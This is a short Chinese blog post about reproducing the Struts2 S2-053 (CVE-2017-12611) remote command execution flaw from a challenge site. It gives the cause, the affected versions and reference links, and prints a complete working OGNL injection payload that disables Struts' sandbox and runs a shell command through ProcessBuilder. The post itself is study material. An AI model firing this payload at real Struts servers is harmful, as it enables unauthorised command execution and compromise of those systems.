zoukankan      html  css  js  c++  java
  • Struct2远程命令执行漏洞(S2-053)复现学习

    1.S2-053(CVE-2017-12611) RCE出自一道题目

    http://www.whalwl.cn:8027/hello.action

     漏洞产生原因:Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。(说句实话,没看懂啥意思,不过大致意思是没有处理好用户输入,导致rce产生)

    影响版本:Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10

    参考的是这两篇文章的内容以及exp

    https://www.freebuf.com/vuls/147735.html

    https://blog.csdn.net/qq_29647709/article/details/84955205

    Payload:

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

     payload中加粗标红的是需要执行的命令

     值得一说的是这段payload有一个小坑,最后要按一下换行,不然无法执行命令

    后面的原理分析什麼的以后再补上

  • 相关阅读:
    vue子组件获取父组件方法
    css hack
    【Educational Codeforces Round 87 (Rated for Div. 2)】前4题
    【某次ks】20200512
    NoI Online 2反思
    RMQ&LCA
    杂谈
    高手训练矩乘T3
    0118ACM自闭赛
    网络流初步学习笔记
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11697107.html
Copyright © 2011-2022 走看看